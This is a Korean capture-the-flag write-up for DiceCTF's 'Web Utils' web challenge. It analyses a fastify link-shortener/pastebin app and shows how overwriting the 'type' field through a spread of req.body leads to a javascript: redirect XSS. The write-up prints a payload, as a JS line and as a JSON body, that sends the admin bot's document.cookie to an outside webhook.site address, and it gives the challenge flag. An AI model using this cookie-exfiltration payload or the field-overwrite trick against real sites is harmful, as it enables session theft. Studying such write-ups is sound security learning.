////
Search
🚩

Web Utils [121 points]

목차

문제 유형

XSS, Node.js 문제

문제 정보 확인

자신의 친구가 만든 툴을 사용해서 쿠키를 얻는 문제이다. 우선 어떤 툴인지 파악해야 할 것 같다.

I can pass it along 기능 설명

I can pass it along은 Admin bot 툴로 이전 여러 문제에서 사용된 툴이다.
URL 부분에 특정 URL을 입력하면, Admin bot이 직접 접속을 시도하는 방식인 것 같다. 이는 같은 Dice CTF 문제인 Baier CSP 에서도 사용된 봇으로, 두 문제가 비슷한 유형인 것을 알 수 있다.

dump tool의 기능 설명

dump tool에 접속하면 아래와 같은 화면을 확인할 수 있다.
Link Shortener : 특정 URL을 web-utils.dicec.tf 도메인을 사용하는 URL로 만들어준다.
EX) https://www.naver.comhttps://web-utils.dicec.tf/view/GVE8jg9i
Pastebin : 특정 데이터 입력 시, 해당 데이터 값을 확인할 수 있는 URL로 만들어준다.
EX) TEST_DATA 입력 시 → https://web-utils.dicec.tf/view/9xjNOrTu

dump tool의 소스코드 분석

문제에서 제공한 app.zip(dump tool)에서 소스코드를 확인할 수 있다. dump tool의 구조는 아래와 같다.
---app | Dockerfile | index.js [server file] | package.json | +---modules | database.js | +---public | | index.html | | style.css | | view.html | | | +---links [Link Shortener] | | index.html | | script.js | | style.css | | | \---pastes [Pastebin] | index.html | script.js | style.css | \---routes api.js view.js
Plain Text

1. 서버 정보 분석

index.js 분석
/api/ 경로와 /view/ 경로를 사용할 때 routes를 정의해두었다.
또한 /public/index.html 이 메인 페이지이다. 해당 html 파일도 확인하여 Link Shortener Pastebin이 어떤 경로로 접속하여 기능을 사용하는지 확인해봐야 한다.
const fastify = require('fastify')(); const path = require('path'); /* 기본 경로 정의 */ fastify.register(require('fastify-static'), { root: path.join(__dirname, 'public'), redirect: true, prefix: '/' }); /* /api/~ 경로 route */ /* /routes/api.js 분석 필요 */ fastify.register(require('./routes/api'), { prefix: '/api/' }); /* /view/~ 경로 route */ /* /routes/view.js 분석 필요 */ fastify.register(require('./routes/view'), { prefix: '/view/' }); const start = async () => { console.log(`listening on ${await fastify.listen(3000, '0.0.0.0')}`) } start()
JavaScript
/public/index.html 분석
Link Shortener 기능/public/links/ 분석 먼저 필요
Pastebin 기능 /public/pastes/ 분석 먼저 필요
<!DOCTYPE html> <html> <head> <title>Web Utils</title> <link rel="stylesheet" href="style.css"> </head> <body> <div class="parent"> <div class="content"> <a href="links/">Link Shortener</a> <a href="pastes/">Pastebin</a> </div> </div> </body> </html>
HTML

2. Link Shortener 기능 분석

[1] /public/links/index.html 분석
[2] /public/links/script.js 분석
[3] /routes/api.js 분석 ( /api/createLink )

3. Pastebin 기능 분석

[1] /public/pastes/index.html 분석
[2] /public/pastes/script.js 분석
[3] /routes/api.js 분석 ( /api/createPaste )

4. 공통으로 사용되는 DB 모듈 분석

/modules/database.js 분석

5. 보기 기능 분석

위 과정으로 Link Shortener, Pastebin 기능이 어떤 방식으로 링크를 생성하는지 확인할 수 있었다.
보기 기능은 /view/:uid 형태 (Link Shortener or Pastebin로 만들어진 링크)로 접속할 때 기능이다.
/routes/view.js 파일은 단순하게 view.html 파일을 로드시키는 동작만 수행하며, 보기 기능의 핵심이 /public/view.html 에 존재한다는 뜻이 된다.
module.exports = async (fastify) => { fastify.get(':id', { handler: (req, rep) => { rep.sendFile('view.html'); } }) }
JavaScript

취약점 분석

앞서 말했듯, 해당 문제는 이전 같은 Dice CTF 문제인 Baier CSP 문제처럼 Admin bot을 이용해 쿠키를 탈취하는 문제이다.
그렇다면 XSS를 동작시켜야 하며 페이지가 로드되는 /public/view.html 에서 XSS를 위한 핵심적인 내용이 있을 가능성이 높다. 우선 생성한 링크로 접속하였을때 어떤 동작을 하는지 확인해보자.
Link Shortener 로 생성한 링크 접속 시
https://www.google.com 를 입력한 후 생성된 링크로 접속해 보았다.
해당 링크로 접속하니 Google 사이트로 리다이렉션 되었다.
Pastebin으로 생성한 링크 접속 시
TEST_DATA 를 입력한 후 생성된 링크로 접속해 보았다.
입력한 값이 그대로 출력되는 것을 확인할 수 있다. 필자는 여기서 XSS가 가능할 것 같아 TEST_DATA 대신 XSS 구문을 넣어 시도해보았지만 실패하였다.
흥미로운 부분은 Link Shortener, Pastebin으로 생성한 링크는 둘다 /view/UID 형태이지만, 접속 시 다른 동작을 한다는 것이다. 왜 그런지 view.html 파일을 분석해 보았다.

view.html 파일 분석

파일을 분석해보면, DB에 저장될 때 type 값이 linkwindow.location 동작을 하며, 그렇지 않으면
<div> 태그로 데이터를 출력(XSS가 직접적으로 동작하지 않았던 이유)한다.
<!doctype html> <html> <head> <script async> (async () => { //uid를 출력 const id = window.location.pathname.split('/')[2]; //uid 가 없을 경우(이상한 링크 일때) if (! id) window.location = window.origin; // 접속 후 결과를 얻어옴 // {"statusCode":200,"data":"123","type":"paste"} 형태 const res = await fetch(`${window.origin}/api/data/${id}`); // data / type 값을 얻어옴 const { data, type } = await res.json(); // data / type 값이 정상적으로 들어있지 않을 경우 if (! data || ! type ) window.location = window.origin; // type 이 'link'일 경우 -> data에 작성된 주소로 이동 // 이 부분을 이용해서 XSS를 동작시켜야 함. if (type === 'link') return window.location = data; // /api/createLink 에서 type이 Link로 변하기 때문에, paste 기능으로 만들어진 링크를 한번 더 link로 변환해야한다. if (document.readyState !== "complete") await new Promise((r) => { window.addEventListener('load', r); }); document.title = 'Paste'; document.querySelector('div').textContent = data; })() </script> </head> <body> <div style="font-family: monospace"></div> </bod> </html>
HTML
그렇다면 우리는 아래 조건이 만족되는 데이터를 DB에 삽입해야 한다.
1.
data 값 → XSS 구문
2.
type 값 → "link"

1번 조건 만족

window.location 값에 document.cookie 를 추가하며 넣어줘야 한다. 그래서 아래 구문을 사용하였다.
window.location = "javascript:location.href='https://webhook.site/b4f4608e-aa5d-4837-a8e5-88dfb037c8eb/?FLAG='+document.cookie"
JavaScript

2번 조건 만족

type 값 → "link" 조건이 만족해야 한다. 즉 보통이라면 Link Shortener에서 URL을 입력하여 값을 만들어야 한다. 하지만 1번 조건에 만족하는 값이 https:// 로 시작하지 않기 때문에, 일반적인 방법으로는 불가능하다. 그럼 어떻게 1,2 번 조건을 동시에 만족시킬 수 있을까?
Link Shortener 기능은 입력값에 필터링이 있지만, Pastebin기능은 필터링이 존재하지 않는다.
1번 조건은 문제 없이 넘어갈 수 있지만, type 값을 "link"로 변경하기 위해서는 /api/createPasteDB에 추가되는 부분을 잘 살펴보아야 한다.
아래와 같이 ...req.body 로 값을 받는 것을 확인할 수 있다.
database.addData({ type: 'paste', ...req.body, uid });
JavaScript
이 문법은 JS의 스프레드 연산자이며 용도는 이와 같다고 한다.
스프레드 연산자를 사용하면 배열, 문자열, 객체 등 반복 가능한 객체 (Iterable Object)를 개별 요소로 분리
간단하게 보면 아래와 같이 연결, 복사 용도로 꽤 유용하게 사용할 수 있다고 한다.
하지만 이 문제에서 중요한 점은, 데이터를 덮어씌우기도 가능하다는 점이다.
아래 예시와 같이, 스프레드 연산자를 이용하여 "a" : 123 으로 정의된 값을 다른 값으로 변경이 가능했다.
DB에서 값을 추가할 때 ...req.body 로 가져오기 때문에 body 에 추가적인 값이 설정되어도 문제가 없으며, 우리가 원하는대로 type 값을 다른 값으로 변경하여 DB에 추가 할 수 있다.
Pastebin 기능에서는 type 값을 "paste"로 설정하여 전달하기 때문에 window.location이 동작하지 않는다. 따라서 type 값을 link로 변경해주면 XSS를 동작시킬 수 있다.
{ "data" : "javascript:location.href='https://webhook.site/b4f4608e-aa5d-4837-a8e5-88dfb037c8eb/?FLAG='+document.cookie", "type" : "link" }
JSON
생성된 링크를 Admin Bot에 넣어주면 플래그가 작성된 쿠키 값을 얻을 수 있다.
FLAG
dice{f1r5t_u53ful_j4v45cr1pt_r3d1r3ct}